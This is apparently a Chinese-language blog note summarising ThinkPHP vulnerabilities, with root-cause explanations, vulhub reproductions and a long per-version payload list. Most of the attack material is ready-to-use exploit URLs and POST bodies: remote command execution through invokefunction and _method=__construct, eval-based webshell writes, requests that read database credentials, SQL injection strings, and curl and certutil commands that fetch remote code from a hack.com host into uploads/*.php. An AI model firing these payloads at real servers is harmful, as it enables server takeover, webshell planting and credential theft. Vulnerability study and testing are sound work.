Thinkphp漏洞总结

简介

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。遵循Apache 2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。

版本介绍

ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。版本细分如下图所示:

Thinkphp漏洞总结_第1张图片

目录结构

Thinkphp漏洞总结_第2张图片

www  WEB部署目录(或者子目录)
├─app           应用目录
│  ├─controller      控制器目录
│  ├─model           模型目录
│  ├─ ...            更多类库目录
│  │
│  ├─common.php         公共函数文件
│  └─event.php          事件定义文件
│
├─config                配置目录
│  ├─app.php            应用配置
│  ├─cache.php          缓存配置
│  ├─console.php        控制台配置
│  ├─cookie.php         Cookie配置
│  ├─database.php       数据库配置
│  ├─filesystem.php     文件磁盘配置
│  ├─lang.php           多语言配置
│  ├─log.php            日志配置
│  ├─middleware.php     中间件配置
│  ├─route.php          URL和路由配置
│  ├─session.php        Session配置
│  ├─trace.php          Trace配置
│  └─view.php           视图配置
│
├─view            视图目录
├─route                 路由定义目录
│  ├─route.php          路由定义文件
│  └─ ...   
│
├─public                WEB目录(对外访问目录)
│  ├─index.php          入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于apache的重写
│
├─extend                扩展类库目录
├─runtime               应用的运行时目录(可写,可定制)
├─vendor                Composer类库目录
├─.example.env          环境变量示例文件
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

Think PHP的URL模式

thinkphp的URL_MODEL共有四种形式:

普通模式,设置URL_MODEL参数为0;

采用传统的URL传参模式:

http://serverName/appName/?m=module&a=action&id=1

PATHINFO模式,设置URL_MODEL为1;

此模式需要在服务器端配置好PATHINFO,否则无法访问。

thinkhp默认是使用PATHINFO模式:

http://serverName/index.php/appName/m/module/a/action/id/1

其中index.php是入口文件,如有其他入口文件,可对其修改。

同时还可在服务端rewrite配置,对入口文件进行隐藏。

在convention.php文件中,138行的URL_PATHINFO_DEPR,此参数用于修改PATHINFO各参数中间的分隔符。

REWRITE模式,设置URL_MODEL为2;

REWRITE模式是在PATHINFO模式的基础上添加了重写规则,可以去掉URL地址里边的入口文件,同时也需要在web服务器配置重写规则。

兼容模式,设置URL_MODEL为3;

兼容模式用于不支持PATHINFO的特殊环境,但是什么情况下不支持PATHINFO,我暂时还没搞明白。

连接形式:http://localhost/?s=/home/user/login/var/value

thinkphp-入口文件

thinkphp框架中所有的url请求都是通过一个文件进行转发的,这个文件是框架根目录public下的index.php文件。
在这里插入图片描述
在这里插入图片描述
入口文件是非常重要的文件。
可以通过配置修改或添加入口文件。

漏洞利用链总结

我们可以得出几种可以直接利用的ThinkPHP框架漏洞利用链,不需要进行二次开发。

ThinkPHP 2.x/3.0 GetShell

ThinkPHP 低于3.0 - GetShell

ThinkPHP 低版本可以使用以上漏洞执行任意系统命令,获取服务器权限。

ThinkPHP 5.0 GetShell

ThinkPHP 5.0.x - GetShell

首先明确ThinkPHP框架系列版本。

根据ThinkPHP版本,如是0.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。

ThinkPHP 5.1 GetShell

ThinkPHP 5.1.x - GetShell

首先明确ThinkPHP框架系列版本。

根据ThinkPHP版本,如是1.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞1,无需登录,即可执行任意命令,获取服务器最高权限。

如需使用ThinkPHP 5.x远程代码执行漏洞2,则需要php文件中跳过报错提示,即 文件中有语句:“error_reporting(0);”,故该漏洞在5.1.x系列版本利用需要满足以上前提,利用较难。

漏洞分析及复现

ThinkPHP 2.x/3.0远程代码执行漏洞

Dispatcher.class.php中res参数中使用了preg_replace的/e危险参数,使得preg_replace第二个参数就会被当做php代码执行,导致存在一个代码执行漏洞,攻击者可以利用构造的恶意URL执行任意PHP代码

注:ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞

Thinkphp漏洞总结_第3张图片

分析

漏洞存在在文件 /ThinkPHP/Lib/Think/Util/Dispatcher.class.php 中,ThinkPHP 2.x版本中使用preg_replace的/e模式匹配路由,我们都知道,preg_replace的/e模式,和php双引号都能导致代码执行的,即漏洞触发点在102行的解析url路径的preg_replace函数中。

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

该代码块首先检测路由规则,如果没有制定规则则按照默认规则进行URL调度,在preg_replace()函数中,正则表达式中使用了/e模式,将“替换字符串”作为PHP代码求值,并用其结果来替换所搜索的字符串。

正则表达式可以简化为“\w+/([^/])”,即搜索获取“/”前后的两个参数,$var[‘\1’]=”\2”;是对数组的操作,将之前搜索到的第一个值作为新数组的键,将第二个值作为新数组的值,我们发现可以构造搜索到的第二个值,即可执行任意PHP代码,在PHP中,我们可以使用${}里面可以执行函数,然后我们在thinkphp的url中的偶数位置使用${}格式的php代码,即可最终执行thinkphp任意代码执行漏洞,如下所示:

index.php?s=a/b/c/${code}
index.php?s=a/b/c/${code}/d/e/f
index.php?s=a/b/c/d/e/${code}

由于ThinkPHP存在两种路由规则,如下所示

  1. http://serverName/index.php/模块/控制器/操作/[参数名/参数值...]
  2. 如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
  3. http://serverName/index.php?s=/模块/控制器/操作/[参数名/参数值...]

也可采用 index.php/a/b/c/${code}形式

复现

使用vulhub项目里面thinkphp下的2Rce

Thinkphp漏洞总结_第4张图片


直接构造poc:

/index.php?s=/index/index/name/${@phpinfo()}
/index.php?s=/index/index/name/$%7B@phpinfo()%7D)}

上传一句话木马:

/index.php?s=a/b/c/${@print(eval($_POST[1]))}

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

2018年12月10日,ThinkPHPv5系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞。此次漏洞由ThinkPHP v5框架代码问题引起,其覆盖面广,且可直接远程执行任何代码和命令。电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多,需要格外关注。由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。

分析

其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

本次ThinkPHP 5.0的安全更新主要是在library/think/APP.php文件中增加了对控制器名的限制,而ThinkPHP 5.1的安全更新主要是在library/think/route/dispatch/Module.php文件中增加了对控制器名的限制。

分析过程:ThinkPHP 5.x RCE分析_0verWatch的博客-CSDN博客_rce分析

ThinkPHP 5.1框架结合RCE漏洞的深入分析 - FreeBuf网络安全行业门户

复现

使用vulhub项目里面thinkphp下的5-rce

Thinkphp漏洞总结_第5张图片

验证漏洞

index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

任意代码执行

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写入webshell

#需要进行url编码

http://192.168.1.21:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

ThinkPHP 5.0.23 远程代码执行漏洞

2019年1月11日,某安全团队公布了一篇ThinkPHP 5.0.远程代码执行漏洞文档,公布了一个ThinkPHP 5.0.远程代码执行漏洞。文章中的该漏洞与2018年12月的ThinkPHP 5.0.*远程代码执行漏洞原理相似,攻击者可利用该漏洞在一定条件下获取目标服务器的最高权限。后经研究,在一定条件下,ThinkPHP 5.1.x版本也存在该漏洞,在满足条件的情况下,攻击者可利用该漏洞执行任意代码。

Thinkphp漏洞总结_第6张图片

分析

其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞

该漏洞的漏洞关键点存在于thinkphp/library/think/Request.php文件中:

分析过程: ThinkPHP 5.x 远程命令执行漏洞分析与复现 | PHP 技术论坛 (learnku.com)

复现

使用vulhub项目里面thinkphp下的5.0.23-rce

Thinkphp漏洞总结_第7张图片

POST

/index.php?s=captcha 
 

执行

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

写入webshell

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo

Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞

Thinkphp漏洞总结_第8张图片

分析

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

ThinkPHP5 SQL注入漏洞 && 敏感信息泄露【通过】 - 账号审核 - 90Sec

看一下漏洞的上下文:

where('id', 'in', $ids)->select();
    }
}

这里如果in可控的话,通过用户传入,那么就会造成注入,让我们来分析一下in的操作代码:

parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = ':' . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(',', $array);
        } else {
            $zone = implode(',', $this->parseValue($value, $field));
        }
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
    }

代码先对$bindName 先进行了一次检测,防止了一些注入情况,但是我们看到$value是一个数组的情况下,会遍历$value,并将$k拼接进$bingName

这就是涉及到预编译的执行过程了。通常,PDO预编译执行过程分三步:

  1. prepare($SQL) 编译SQL语句
  2. bindValue($param, $value) 将value绑定到param的位置上
  3. execute() 执行

这个漏洞实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误的(这个错误就可以返回我们想要执行的恶意语句)。

ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析 | 离别歌 (leavesongs.com)

复现

访问http://ip/index.php?ids[]=1&ids[]=2,即可看到用户名被显示了出来

访问:http://ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1,敏感信息被暴露出来

其他的漏洞poc

借用大牛写的poc记录下

thinkphp 5.0.5

waf对eval进行了拦截
禁止了assert函数
对eval函数后面的括号进行了正则过滤
对file_get_contents函数后面的括号进行了正则过滤

http://www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=

thinkphp 5.0.10

(post)public/index.php?s=index/index/index
(data)s=whoami&_method=__construct&method&filter[]=system

thinkphp 5.0.11

http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php

thinkphp 5.0.14

eval('')和assert('')被拦截,命令函数被禁止
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
 
php7.2
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=写进去发现转义了尖括号
通过copy函数
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php

thinkphp 5.0.18

windows
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
 
使用certutil
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php
 
由于根目录没写权限,所以写到uploads

thinkphp 5.0.21

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
 
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.0.22

http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.0.23

(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
Debug模式
(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

thinkphp 5.1.18

http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=
 
所有目录都无写权限,base64函数被拦截
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])

thinkphp 5.1.*

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

thinkphp 5.1.*和5.2*和5.0*

 (post)public/index.php (data)c=exec&f=calc.exe&_method=filter 

thinkphp 未知版本

?s=index/\think\module/action/param1/${@phpinfo()}
?s=index/\think\Module/Action/Param/${@phpinfo()}
?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
index.php?s=/home/article/view_recent/name/1'
header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
index.php?s=/home/shopcart/getPricetotal/tag/1%27
index.php?s=/home/shopcart/getpriceNum/id/1%27 index.php?s=/home/user/cut/id/1%27 index.php?s=/home/service/index/id/1%27 index.php?s=/home/pay/chongzhi/orderid/1%27 index.php?s=/home/pay/index/orderid/1%27 index.php?s=/home/order/complete/id/1%27 index.php?s=/home/order/complete/id/1%27 index.php?s=/home/order/detail/id/1%27 index.php?s=/home/order/cancel/id/1%27 index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+ POST /index.php?s=/home/user/checkcode/ HTTP/1.1 Content-Disposition: form-data; name="couponid"1') union select sleep('''+str(sleep_time)+''')#

当php7以上无法使用Assert的时候用

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo(); 有上传图片或者日志用这个包含就可以

参考博客:

thinkPHP框架学习(速成,一天)-CSDN博客

Think PHP漏洞总结(全系列) - lingzhi_sec - 博客园 (cnblogs.com)

ThinkPHP 5.1框架结合RCE漏洞的深入分析 - FreeBuf网络安全行业门户

Thinkphp漏洞复现(全漏洞版本) - Arrest - 博客园 (cnblogs.com)

你可能感兴趣的:(课程笔记,经验分享,安全,thinkphp,web安全)